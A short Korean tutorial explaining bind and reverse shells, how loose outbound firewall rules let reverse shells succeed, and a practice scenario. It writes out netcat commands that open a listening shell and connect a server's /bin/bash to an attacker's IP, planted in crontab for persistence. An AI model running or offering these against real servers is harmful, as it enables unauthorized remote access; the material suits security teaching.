최대 1 분 소요

Outline

  • 바인드 쉘과 리버스쉘의 쉘 획득 원리 설명
  • 리버스 쉘이 성공하게 되는 서버의 취약 설정 설명
  • 바인드 쉘과 리버스 쉘을 이용한 쉘 권한 획득 실습

바인드 쉘 (Bind Shell)

클라이언트/공격자가 서버에 접속하여 서버의 쉘을 획득하는 방식

Pasted image 20230509205411.png

  1. Alice는 서버 쉘 획득을 위해 사전에 서버에 접속하여 nc -lvp 1234 -e /bin/bash 명령을 crontab(서버스케줄러)\에 등록하여 1234 포트를 listen 상태로 유지한다.
  2. 이후 Alice는 언제든지 Bob의 서버에 1234포트로 원격 접속 할 수 있다.
    screenshot 1.png

리버스 쉘 (Reverse Shell)

타겟 서버가 클라이언트/공격자로 접속해 클라이언트가 서버의 쉘을 획득하는 방식 일반적으로 서버방화벽(iptables) 의 인바운드 정책의 경우 공개 서비스에 대해서만 화이트리스트 방식으로 엄격히 관리하지만 아웃바운드 정책의 경우 비교적 느슨하게 관리하는 취약점을 노린 공격이다.

Pasted image 20230509220225.png

  1. Alice는 기존 바인드 쉘(Bind Shell)을 이용한 공격에 실패하고 그 원인을 방화벽 설치로 추측 하여 리버스 쉘(Reverse Shell)공격을 시도 한다.
  2. Alice는 사전에 서버에 접속하여 자신의 PC에 접속을 시도하여 쉘(/bin/shell)을 실행하는 명령 nc -e /bin/bash 192.168.0.106crontab(서버스케줄러) 에 등록한다.
  3. 이후 Alice는 자신의 PC에 1234포트를 listen상태로 놓고(nc -lp 1234) 서버의 접속요청을 기다린다.
  4. 서버요청이 연결되면 서버의 쉘 사용이 가능하다.
    screenshot 2.png

connection documents

댓글남기기